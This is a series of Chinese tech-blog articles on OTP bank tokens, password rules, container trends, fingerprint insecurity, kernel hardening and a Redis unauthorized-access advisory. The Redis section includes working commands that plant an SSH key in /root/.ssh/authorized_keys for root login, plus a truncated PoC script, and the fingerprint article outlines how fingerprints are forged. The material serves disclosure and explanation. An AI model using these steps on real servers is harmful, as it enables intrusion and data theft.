银行的动态口令令牌是什么原理

有网银的少年们一般都收到过银行给的这样一个令牌,俗称动态口令,在支付的时候输入自己的密码和动态口令上的动态密码,就能完成验证,银行就相信你不是坏人了,今天我们来简述一下这个动态口令令牌是个什么原理。

PS:本篇阅读可能需要读者有一些密码学基础,预警一下。

SID700.jpg

RSA SecurID SID700

如图的RSA SecurID SID700是当前市面上流行使用的动态口令令牌,在笔者准备资料的过程中发现国内描写动态口令的野生博客有不少谬误,其中大多是对银行这一套认证机制结构的不了解,所以首先要强调的是:

在大众用户手中的动态口令令牌,并不使用任何对称或者非对称加密的算法,在整个银行的认证体系中,动态口令令牌只是一个一次性口令的产生器,在其中运行的主要计算仅包括时间因子的计算和散列值的计算。

动态口令算法又叫一次性口令算法,英文写作OTP(One-Time Password Algorithm), 动态口令令牌使用的算法是OTP中的一类,TOTP(Time-Based One-Time Password Algorithm) — 时间同步型动态口令。

时间同步型动态口令产生口令的时候和时间有关系,我们可以通过其工作的原理图来看一下:

Screen Shot 2016-02-08 at 5.06.00 PM.png

图示给出了动态口令的工作原理,突出了整个认证机制中的动态口令部分,我们可以清楚看到在最左边和最右边有完全相同的两个流程,这里分别代表了用户的令牌卡和银行服务器的验证机器做的工作。本文的重点就在这两个完全相同的流程上。

在用户从银行手中拿到动态口令令牌卡的时候,在令牌卡的内部已经存储了一份种子文件(即图中钥匙所代表的seed),这份种子文件在银行的服务器里保存的完全一样的一份,所以对于动态口令令牌来说,这种方式是 share secret的。另外在令牌硬件上的设置中,假使有人打开了这个令牌卡,种子文件将会从令牌卡的内存上擦除(待考证)。

令牌卡中有了种子文件,并实现了 TOTP 算法,在预先设置的间隔时间里它就能不断产生不同的动态口令,并显示到屏幕上,而银行服务器上跟随时间做同样的计算,也会得到和令牌卡同样的口令,用作认证。

那么 TOTP 算法具体做了什么操作呢?在 RFC6238 中有详细的算法描述,这里也会做简单的叙述。

TOTP 是来自 HOTP [RFC4226] 的变形,从统筹上看,他们都是将数据文件进行散列计算,只是HOTP的因子是事件因子,TOTP将因子换成了时间因子,具体的TOTP计算公式(其中的HMAC-SHA-256 也可能是 HMAC-SHA-512):

TOTP = Truncate(HMAC-SHA-256(K,T))

其中: K 为这里的种子文件内容; T 为计算出来的时间因子

公式中的 HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。而公式中给出的哈希算法是 SHA-256,这种哈希算法目前并没有好的破解办法。

令牌卡中预先设置了要显示的口令长度,TOTP 中的 Truncate 操作剪切获得口令。

以上就是动态口令令牌卡的内部原理。

几点补充:

1.  时间同步型动态口令对令牌卡和服务器的时间同步要求很高,时间误差会造成整个令牌的失灵,所以每一次用户成功使用令牌认证,服务器都会做相应的时间误差矫正。

2. 种子文件的产生使用了一种AES-128 变形而来的算法, AES-128 也是目前顶尖级的对称加密技术。

3. 目前从加密技术上以及数学理论上整个银行机制的认证系统基本无解。

4. 欢迎勘误。

参考链接:

银行的动态口令令牌是什么原理,首发于博客 – 伯乐在线

不要再强迫我设置复杂密码

我最近读的一篇博文(伯乐在线注:请看本文最后),是关于强制使用更复杂的密码。原作者说这是为了更安全,但我认为这些技术不是最好的方式,比起「实用」来说,显得很麻烦。

问题

你想实施更安全的密码,我懂。但是,

请停止强迫我使用你那糟糕的密码规则 🙁

不让这篇文章那么严肃,我在试图做到这一点。我只是因为那篇文章有了灵感写下我的想法,不是针对作者。总之我是在和每一个在自己的网站和服务器使用这些密码规则的人讲话。我讨厌这些类型的规则:

'password' => [
    'required',
    'confirmed',
    'min:8',
    'regex:/^(?=S*[a-z])(?=S*[A-Z])(?=S*[d])S*$/',
];

密码必须包含 1 个大写字母,1 个小写字母和数字。

有了这样的一个规则,密码 Abcd1234 会通过你的有效性检测,但是 mu-icac-of-jaz-doad 不会。

我知道你大概是想让人们使用随机字符密码,像 i%Mk3c4n,但是你的规则实际上并没有这样执行,这些密码是个麻烦事而且不安全,除非它们足够长——使得它们成为更麻烦的事。打出这些密码很痛苦,尤其是在那些你没有安装密码管理器的手机和计算机上。

其次,使用不安全密码的人依旧会使用愚蠢的密码(比如 Loverboy1964),所以你没有帮助任何人。

停止强迫我使用你专制的规则并鼓励其他人这么做——我的密码是更好呢。

例子

那位博主允许使用的 2 个密码:

ecf66cbb9a_7cc829d3gw1f0bhdnvdxyj20z40mg77r

92e608a77b_7cc829d3gw1f0bhdojp0ej20zk0o0adw

下面这两个是那位博主不允许使用的密码:

3db8c04b92_7cc829d3gw1f0bhdp3w2vj20zg0ni424

07d907f9f8_7cc829d3gw1f0bhdpqnztj20z80ni428

解决方案

我不知道,但是如果你真的想要执行一些比此列表上的密码更安全的东西,那就不要强制不必要的复杂模式。你的验证规则,还是会让人继续用的原密码中的大部分,只是增加一个大写字母,或两三个数字。

(注1:此处提到的密码列表,里面都是 123456 、password、qwerty 之类的「愚蠢密码」)

相反,为什么不提高密码所需的最小长度,禁止 3 位或更长的数字序列 /[0-9]{3,}/?

你可以在那之后往前走一小步,不允许同样的字符在一行(相邻)重复两次以上 /(.)1{2,}/,而且还没有太多的麻烦。

这将消除大部分的困扰,并不会不必要地限制您的用户密码选择。

更新

更好的是,为什么不忘记所有这些规则,只使用一个最小密码强度要求。

fc81ac093e_7cc829d3gw1f0bhdqbiphj20ac022jr9

来自 reddit 网友 sarciszewski 的建议:

我不明白为什么那么多人不用 Zxcvbn。

我们并不特别关心你的密码包含了什么,只要密码强度估计量足够好就行。想要用2000个’A’构成一个ASCII penis来检测,zxcvbn 不会提醒你密码不包含小写字母不能使用而让你失望。

相关漫画

密码强度 (xkcd)

fc5ab6eb06_7cc829d3gw1f0bhdr2msvj20kk0gpn1i

 


《在 Laravel 中强制复杂密码的建议》英文原文

根据简单优雅的 Laravel 文档,我将快速介绍如何促进用户使用更好的密码。通过 Authentication 的标准文档,我们用一个注册表单来说明。在 Laravel 的 AuthController 中,我稍作了修改。

(伯乐在线补注:Laravel 是一个 PHP Web 开发框架。)

    protected function validator(array $data)
    {
        $messages = ['password.regex' => "Your password must contain 1 lower case character 1 upper case character one number"];
        return Validator::make($data, [
            'name' => 'required|max:255',
            'email' => 'required|email|max:255|unique:users',
            'password' => 'required|confirmed|min:8|regex:/^(?=\S*[a-z])(?=\S*[A-Z])(?=\S*[\d])\S*$/',
        ], $messages);
    }

使用文档 http://php.net/manual/en/function.preg-match.php 和 Laravel 文档的正则表达式规则,我可以设置一个表达式来检查这些字符,我还可以设置一个自定义消息如果失败。

通过这些微小的工作我们可以用一个错误消息来帮助用户设置更好的密码。

925473f4a9_7cc829d3gw1f0bhka30krj20j60anjs8

技术雷达 : 关于技术趋势的分析报告

就在刚刚过去的2015年11月份,ThoughtWorks又发布了最新一版的技术雷达。技术雷达是什么,来源以及如何运用,可以参考Neal Ford的一篇文章《Build Your Own Technology Radar》中文翻译】,这里就不再赘述。在本期的技术雷达中,提出了四个最新的技术动态,分别为:“Docker引爆容器生态系统”、“微服务及相关工具受到追捧”、“JavaScript工具正在趋于平稳”、“安全是每一个人的问题”。本文就主要围绕这四个最新的技术动态,阐述一下笔者个人的理解和分析。

Docker引爆容器生态系统

Docker现在非常火,作为一个开源的应用容器引擎,它的出现让容器技术的使用和管理变得非常简单,也促使更多的人开始关注和意识到容器技术的真正价值和威力。由于其基于LXC的轻量级虚拟化技术,相比于KVM之类传统的虚拟机技术最明显的特点就是启动快,资源利用率高。启动一个容器只需要几秒钟,在一台普通的PC上甚至可以启动成百上千的容器,这都是传统虚拟机技术很难做到的。目前容器技术已经被广泛应用在软件开发的各个阶段各个领域,例如用于管理开发环境、用于测试、构建项目和实施持续集成,当然也可以作为传统云平台虚拟化的替代方案,实现更为轻量更具弹性的云计算平台。

虽然上文提到的这些应用场景都是非常有价值的,但还不能体现Docker或是说容器技术如此火爆的原因。我们知道Container通常翻译为容器,但是还有另一个翻译就是集装箱,集装箱被很多人称为是21世纪最伟大的发明之一,它的发明和广泛使用甚至改变了世界的货物运输体系,促进了经济的全球化发展,《集装箱改变世界》这本书就是讲述了集装箱是如何改变世界的。而我们现在所提的容器技术和Docker,是不是也在致力于改变软件的世界,改变我们开发、测试、构建、部署、运维所有这些的现有方式呢?我觉得是有可能的,因为无论是集装箱还是容器技术都为我们带来了两个重要的好处:一致性和隔离

E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.27.22-1

我们知道一个产品是否可以正常提供服务,只去确保软件本身没有问题是远远不够的,需要同时保证软件、基础设施(例如硬件、操作系统和运行环境)以及配置的正确性和可靠性。而传统的软件开发方式,对于这三个方面的管理是分离的,再加上三者之间错综复杂的关系,就造成了我们常常挂在嘴边的“环境问题”。但是通过使用容器技术,我们如果将软件、基础设施和配置作为一个整体使用容器进行封装,产生一个个已经同时包含了软件以及其运行环境的经过严格测试检验的“包”。这样当部署“包”的时候就不需要再考虑环境的问题,也不需要关心现在部署的是一个Web服务还是一个数据库服务,要做的只是把一个个容器标准化地安装到指定的容器引擎即可。

E5B18FE5B995E5BFABE785A7-2015-12-05-E4B88BE58D889.26.07-1

可能正是大家都看到了容器技术以及Docker对于软件开发各个领域正在带来的改变,容器技术的生态系统也在经历着一个快速发展的阶段,涉及到开发辅助、集群管理、服务编排、内容发现、云平台搭建等各种工具框架都一一呈现在我们面前,其中像Google和Amazon这样的巨头也都在第一时间发布了各自与容器相关的服务和框架。

1224-E78E8BE581A5-3

微服务及相关工具受到追捧

如果大家关注Docker,也肯定会经常听到一种与之相关的架构,也就是微服务架构:

“微服务架构是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间互相协调、互相配合,为用户提供最终价值。每个服务运行在其独立的进程中,服务与服务间采用轻量级的通信机制互相沟通(通常是基于HTTP协议的RESTful API)。每个服务都围绕着具体业务进行构建,并且能够被独立的部署到生产环境、类生产环境等。另外,应当尽量避免统一的、集中式的服务管理机制,对具体的一个服务而言,应根据业务上下文,选择合适的语言、工具对其进行构建。”

这是Martin Fowler给出的对于微服务架构的定义,其中提到了微服务架构的四个特点:

  • 将单一的应用程序划分成一组小的服务
  • 每个服务运行在其独立的进程中
  • 轻量级的通信机制
  • 独立的部署到生产环境

我看过很多非常成功的公司在分享其系统架构演进历程时,往往最后都会落脚于服务拆分和业务服务化。其实这也不算是什么新的概念了,几年前流行的SOA面向服务架构就已经为我们描绘了一个服务化架构的美好前景。那为什么又提出了一种新的微服务架构呢?对于这个问题Martin Fowler在他的那篇《Microservices》也给出了他的回答。简要来说就是虽然这两种技术都是以服务化和组件化为目标,但是架构理念和技术策略上有太多的不同。例如上边提到的微服务架构的主要特点以及其倡导的演进式架构设计,去中心化的架构风格,采用轻量化通信机制,强调独立部署等都是与SOA所提倡的技术和思路有很大区别。微服务架构也更契合现代的技术发展趋势,例如RESTful API的流行,嵌入式应用服务器的应用,持续集成、持续交付的普及,容器技术爆发,组件化的趋势,云平台的发展等。

在引入微服务架构前,系统往往是以一个大的单体应用的形式存在的。此时任何功能的修改都需要重新构建部署整个应用,并且当需要水平扩展时也只能通过扩展整个应用的方式进行,无法做更细粒度的调度和控制。而当切换成微服务架构后,单一功能的修改只需要重新构建部署相应地服务即可,其他服务并不会受到影响。如果某个服务需要水平扩展时,我们也只需要扩展此服务即可。由此可见,微服务架构相比于传统的单体应用架构,可以极大的提高我们的资源利用效率和系统弹性。再加上通过服务化我们可以更容易的以组件的方式组合和重用现有服务,快速地构建出新的服务,使企业和产品更具竞争力。

1224-E78E8BE581A5-4

微服务架构还有很多其他的好处:例如我们可以为不同的服务使用异构的技术架构,用最适合的技术解决最适合的业务问题(例如在某些服务中使用关系型数据库,而在某些服务中使用NoSQL数据库);相对于单体应用因为每个服务都更小更简单,所以维护难度和成本也会比传统的大的单体应用要低得多;还有根据康威定律,这种新的服务架构甚至会改变我们软件开发的组织方式向小而精的多功能自组织团队和全栈式演进,前段、后端、运维、DBA这种角色划分方式也许也会因此而成为历史。

微服务架构之所以经常会和容器技术一起被提及,是因为容器技术为微服务架构提供了一个非常匹配的基础设施,从而可以将这种架构的威力最大化的激发出来。设想一下,假如我们有一个产品采用微服务架构,并将每类服务及其运行环境打包为容器,部署于像AWS ECS这类弹性容器服务里。就可以实现通过实时监控每类服务的负载情况,通过自动化的方式快速按需对每类服务基于容器技术进行快速高效的水平扩展或是撤销,这样我们的架构就是一个高度自动化、高弹性、高资源利用率的应用架构,相比于传统的单体应用也将具备很大的竞争优势。

有得必有失,微服务架构有着这么多的好处,但同样也会引入一些新问题,最直接的就是分布式本身所引入的复杂性。例如如何保证服务间的契约,如何快速开发服务,如何保证轻量级通讯协议的可靠性等等。对于这些问题也有着相对应的解决方案,本期雷达就推荐了很多的工具和技术来辅助进行微服务架构下的软件开发。

雷达 : 关于技术趋势的分析报告,首发于博客 – 伯乐在线

别拿指纹当密码,没用!看完你就明白了

密码就是一坨翔。没有人会挑选一个好的密码,就算他们好不容易选了一个不错的,也会在所有的网站上都使用这个密码;就算你用了一个可以信赖的密码管理软件,它也会被人破解。不过你知道比密码更烂的是什么吗?那就是指纹。指纹的问题多如牛毛,你在任何时候都不应该用它来取代密码。

密码应该是保密的,就像你小时候养的宠物的名字。相比之下,你带着手指头到处晃悠,它们几乎在任何时候都是暴露在外的。当你的密码被泄露了,一般很容易就换个新密码。可你不想换个手指头吧?最后,也是最为重要的,你希望密码是经过哈希处理的,这样就算密码数据库被盗,不法之徒也无法获取你的密码。

在本文剩下的篇幅中,我会分别介绍以上三个方面的内容,希望能说服你相信,从根本上说用指纹比用密码要糟糕得多。(你听信苹果谷歌的忽悠?不,我想你不会的。)

指纹并不保密

首先,使用指纹取代密码最明显的问题,就是指纹压根就不是保密的。想想你在影视剧里面看到的:警察在向坏蛋问话的时候,递给了他一杯咖啡,然后把这个杯子送到法医实验室,就搞到了他的指纹。案件侦破!

但实际情况会更糟。你的指纹到处都是。可以从纸张、键盘和桌子表面上提取到指纹。你不会把你的密码写在便签纸上,然后贴到工位的显示器上,对吧?可如果你的工作需要使用指纹来进行身份认证,那这个密码可能已经留在你的显示器上了。

德国黑客 Jan Krissler(网名 starbug),只要一有机会就会向别人灌输这个概念。 iPhone 5 touchID 系统刚发布的时候,starbug 就开始垂涎三尺了。他立刻买了一台,鼓捣了两天后,他证明自己能在苹果店门口排队的人群散去之前,就能骗过指纹读取器。starbug 在接受 Ars Technica 采访的时候, 抱怨说这也太容易了。来自苹果的匿名人士表示,他们原本预期这个过程会花上两个月,而不是两天。

如何仿造指纹

他用来仿造指纹的技术超级简单。他复制了一个指纹,然后把它蚀刻在铜片上(和制作印刷电路板一样),在蚀刻上喷一层石墨,最后在上面盖上一层木胶或者乳胶。在铜片被蚀刻掉的地方,胶水加石墨的指模会更深,这用来模拟你手指上纹路。石墨涂层和手指一样拥有电容的特性。如果再用上和皮肤颜色相同的乳胶,你就做出了一个像碟中谍电影里一样的东西,成本只有 5 美元加上一个下午的时间。而你需要的只是从杯子或者书本上提取一张质量好点的指纹图片。

从照片中提取指纹

别在你的照片中露出指纹。从一张记者招待会的照片中,starbug 复制出了 Ursula von der Leyen(德国国防部长)的指纹。不管这个指纹是不是真的能控制整个德国的军队,反正你明白这个意思了;希望他们真的别用指纹来当密码。

在德国的黑客交流大会上,starbug 做了一个很棒的演讲,他讨论了这项技术所需要的照片分辨率,以及很多其他和生物特征辨识相关的黑客技术。不过重点在于,只要有足够的分辨率、或者是一个足够好的镜头,就可以从一个很舒服的距离拍摄到指纹的照片。其中主要的限制是焦距带来的浅景深以及光照情况,这对于那些在照明充足的台上、面对一大堆相机的政客们来说可不是个好消息。不管你是不是政客,除非你一直戴着手套,否则你的指纹就不会得到很好的保护。

指纹是不可改变的

好吧,假设说你的普通密码不管因为什么原因泄露了,会有多糟?在理想世界中,被攻破的网站会通知你并提醒你更换密码。你可以把宠物狗的名字换成宠物猫的名字,或者你出生的年份和你妹妹的出生年份。搞定!

不过如果你用指纹当密码,然后不慎泄露的话,却不可能去改变它。实际上,在传统使用指纹的场景中,正是利用了它的唯一性和不可变性——比如在犯罪现场中用来甄别罪犯。要是能在犯罪之后改变指纹的话,你就不用戴那些碍事的手套了。

指纹会伴随你一生。如果我盗取了你的指纹,我就可以解锁你现有的指纹加密的设备,和你以后购买的所有指纹加密的设备。指纹只是半安全的,它不可修改,这让它成了相当糟糕的密码。这一点不用再多说了,反正肯定就是这么回事儿了,不过还是得强调一下,因为世上还是有很多坏警察的(译注:会盗用你的指纹)。

举个例子,敏感的政府机构会使用个人身份认证(PIV)卡,上面包括了雇员的指纹。除了需要输入正确的密码之外,使用 PIV 卡的联邦雇员还必须扫描指纹,并和保存在卡内的指纹进行对比。这种使用密码和指纹匹配的方式构成了双重认证系统。

而在这之后,美国国家人事局(OPM)被黑了,560 万(!)枚政府雇员的指纹被窃取,很可能是外国间谍机构干的。于是现在国土安全局可能不得不改为使用“三重认证”,因为其中的一个认证方式已经彻底完蛋了。如果当初政府在 PIV 卡中使用了一种可替换的方式,至少这次泄露弥补起来会容易得多。

密码需要定期更换来确保其保密性和安全性。指纹是不可更换的。

指纹是不能被哈希处理的

指纹的问题在于判定的时候只要近似就够了,而且应该也是这样。如果我在指纹识别器上按手指的时候稍微大了点劲儿,或者稍微错位了一点,又或者手指被划伤了,我依然希望这个识别器能接受我的指纹。训练有素的 FBI 探员在对比指纹时,通常都使用“部分”匹配的方式,只要有合理的精确度就够了。对于血肉之躯的人类和现实世界中的指纹扫描仪来说,近似匹配是合情合理的。不过只要指纹有细微的瑕疵,经过哈希处理后就会和参照版本完全不同。这也就意味着指纹是不可哈希的。哈希算法让密码更加健壮,一旦缺少了哈希算法的保护,指纹就变得脆弱得多。

现在假设一个靠谱点的网站被黑了,就算黑客窃取了网站的密码数据库,他们也不会因此拥有这些密码的列表。他们只能得到用户名以及被单向哈希之后的密码。

当你输入密码的时候,网站会对结果进行哈希运算。如果你输入的哈希值和网站保存的哈希值相同,就能确认这个密码是正确的。因为哈希算法是完全单向的,所以对任何人来说,从哈希结果反推出你实际的密码几乎都是不可能的。实际上,反推哈希密码最简单的方式,就是尝试每个可能的密码,计算哈希值,然后进行比较。

相比之下,一个简单初级的实现,就是网站直接保存了每个用户的密码,但是用一个主密码对它们进行加密。如果黑客能够搞定这个主密码,他们就能破解整个数据库中的所有密码。这个主密码在每次密码校验过程中都会用到,这使得它拥有巨大的价值,同时却也非常脆弱。如果使用不同的主密码分别加密每个用户的数据的话,就意味着他们还得维护一个巨大的主密码数据库,这其实毛用都没有。这就是为什么每个靠谱的网站都只会保存用户密码的哈希结果。

不过哈希算法仍然可以比加密做得更好。如果网站的开发者拥有足够的安全意识,就会在进行哈希计算之前进行加盐:在密码中附加上其他的一些东西(这个东西不必是保密的);这会让暴力破解的过程变得更加缓慢,因为这相当于每个人的密码都是以不同的形式进行哈希的。

如果咱俩都使用了“!password123”作为密码,不过我的密码之前加了“elliot”,而你的密码之前加了“joe_user”,我们的密码经过哈希处理之后就会变得完全不同。就算黑客最终猜到了你的密码,因为这个“盐值”的存在,他们也无法立刻得知我的密码。

如果网站安全做得特别好的话,这个哈希过程会使用一个耗时的算法重复进行上千次,从而进一步减缓了暴力破解的速度。在你登录网站的时候如果花上个半秒一秒,对你来说可能不是什么事儿,不过对于那些依赖于每秒进行数百万次尝试的暴力破解者来说,这可就是大麻烦了。密码管理软件 LastPass 被破解译注:如果你的浏览器默认是中文语言,这个链接会跳到他自己的中文版页面上,这个中文版页面……有点逗比),这件事是个很好的例证。他们被破解了这事儿本身确实挺糟的,你还是得换掉你的主密码,不过如果做得够好的话,任何人还是无法在短时间内暴力破解你的密码。

指纹和雪崩效应

刚才这些东西和指纹到底有啥关系?指纹本身不能经过哈希处理,所以上面那些做法(在数据中只保存加盐密码的哈希值)在安全性上面所带来的优势,对指纹来说毛用没有。这是因为除了单向之外,一个好的哈希算法展现了所谓的雪崩效应:密码中一个轻微的改变会导致哈希结果极大的区别。

字符串“!password123”在使用 MD5 哈希处理之后,得到的值是 b3a2efccbe10c39f2119979a6f9a3ab2,而“!Password123”对应的值是 d2583f9c75fbc22890d39e7241927511。这两个字符串只有一个字母不同,那个大写的“P”,但是两个哈希结果的差异却相当巨大。这防止了那些暴力破解者去判断他们尝试的密码和实际密码之间的近似程度。如果密码中每出现一个正确字母就和目标哈希值接近一分的话,他们毫不费力地就能猜到你的密码了。雪崩效应意味着猜到“相似”的密码是毫无意义的。

正如我之前提到的,指纹技术需要能判断出“足够相似”。如果把它进行哈希处理的话,就会差之毫厘、谬以千里。这也就是说,指纹只能被明文存储,或者加密存储,但是哈希算法一点用也没有,因为一个好的哈希算法会导致雪崩效应。指纹数据库不可避免地会成为薄弱环节,只要你的指纹被保存下来,不管是在你的 iPhone 上、在 IPV 卡上还是在电子护照上,只要知道了主密码,这里面存储的指纹都可以被破解。

电子护照

哈希方法对比加密方法的一个很好的例子,就是电子护照。其中加密保存了你的指纹和虹膜照片的数据,因为这些都是敏感信息。不过这些数据也只能加密(而不能哈希处理),因为护照读取器需要能够解密这些信息,才能和你的手指和眼睛进行比对。(译注:中国的电子护照在芯片内也包含指纹和照片,也是加密保存的

在这上面,所有你的非敏感信息和加密之后的数据包会一起进行哈希计算,这个哈希值会使得篡改其中任何信息都变得很困难。你可能想在这些数据里面改变一个比特,然后在别的地方改变另一个比特“找补”回来,然而雪崩效应让这一切成为不可能。

即使这样,到目前为止,这也仅仅意味着你的指纹只能通过加密的方式进行保护,而不是哈希处理的方式。这对于海关来说无所谓,因为他们只关心你的指纹是不是被篡改过了。对他们来说,你的指纹只是用来证明你就是你;以及通过跟在你的信息后面的一个哈希值,来确保你的数据不会被篡改。

而另一方面,对于考虑到隐私问题的个人而言,只是把你的指纹进行加密不免让人有些担忧。一个拥有你的护照和正确密码的坏蛋,可以把数据进行解密从而获得你的指纹。虽然从护照封皮上提取你的指纹可能要容易得多,因为指纹不是保密的,还记得吧?

结论

别把你的指纹当密码用。指纹是永久不变的、容易校验的并可以轻松获取的,这对于犯罪调查和确认你的身份来说非常有帮助。不过它们并不是密码,因为它们不是保密的、是无法改变的、而且也很难安全地保存。

别拿指纹当密码,没用!看完你就明白了,首发于博客 – 伯乐在线

为什么提升内核的安全性很重要

最近《华盛顿邮报》刊文称,安全社区与 Linux 内核开发者之间的关系正处于紧张阶段。这种遭强烈的行为被称为 FUD(恐惧、疑惑、怀疑,即心理恐怖战术), Rob Graham 宣称目前无人攻击系统内核。

不幸的是,事实证明他的言论是完全错误的,这并不是 FUD 行为,目前Linux内核的安全状况还远远没有达到它应该达到的状态。

举个例子,最新版本的Android系统使用SELinux来限制应用程序的运行。这令你即使拥有一个在Android上可被完全控制的应用程序,SELinux规则也能使你很难做成任何事,尤其是用户控制。有家违反 GPL 协议的意大利公司 Hacking Team ,在销售一款可以侵犯用户隐私的监控软件,但他们发现这种内核阻碍了他们将间谍软件传输到目标设备。所以他们利用许多 Android 设备内核的 copy-from-user() 缺陷,从而实现允许他们复制任意一个用户空间的数据及其内核代码的行为,因此他们也能做到禁用SELinux。

如果我们可以信任用户空间的应用程序,我们是不需要SELinux的。但我们假定用户空间的代码是不成熟的,配置是错误的或者是完全怀有敌意的,我们就要使用例如SELinux或AppArmor等技术来限制其行为。只是有很多用户空间的代码对我们都保证是无害的,我们尽力阻止的只是它可能出现的对我们造成侵害的部分。

这在内核中显然是不正确的。这种模型目前为止在很大程度上已经是“当我们找到他们时方能修复安全漏洞”,这种方法的失败体现在两个层面上:

(1)当我们找到并修复它们,但在被修复版本可以使用,到它真正被部署,这中间是有一个空窗期的。

(2)尽管动用了尖端的力量,也可能无法在第一时间发现它们。

这种反应方式是针对某个世界,一个无需先进行公测就可以进行软件更新的世界,那个世界中有以寻找内核漏洞为乐趣的好人。然而,我们并不生活在那个世界,这种方法也并不可行。

正如SELinux等功能可以使我们减少可能遭受的侵害一样,如果一个新的用户空间安全隐患被发现,攻击者将内核错误变成一个可利用的漏洞,我们可以将修复功能添加至内核,使攻击变得困难(或不可能)。如今使用Linux系统的人数越来越多,许多用户依赖这些系统在各个关键方面的安全性能,那么尽我们所能不辜负他们的信任是至关重要的。

许多有用的缓解功能已经存在于Grsecurity patchset中,但技术分歧出现在某些特性的结合,而个性冲突和明显缺乏热情的上游内核开发人员导致它几乎没有被应用于大多数人所使用的内核中。Kees Cook提出了一个新的想法,开始更加齐心协力的将Grsecurity组件迁移到上游。如果你依赖于内核安全组件,因基于它而运行程序或者说因为你自己本身就使用它,那你应尽你所能去支持这一想法。

因为安全平台的漏洞,微软受到了无可非议的批评。他们回应称,已经跨操作系统引入了先进的安全功能,包括内核部分。任何一个指责说我们需要做同样的 FUD 传播的人,他们都要冒着自由软件被边缘化为专有软件的风险,来提供更多实际性的安全功能。那并不是个好结果。

为什么提升内核的安全性很重要,首发于博客 – 伯乐在线

Redis 未授权访问缺陷可轻易导致系统被黑

Sebug 公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK
$ 192.168.1.11:6379> saveOK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

全球无验证可直接利用 Redis TOP 10 国家与地区

漏洞 PoC

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
    '''
    samples = ['']
    def _verify(self):
        result = {}
        payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
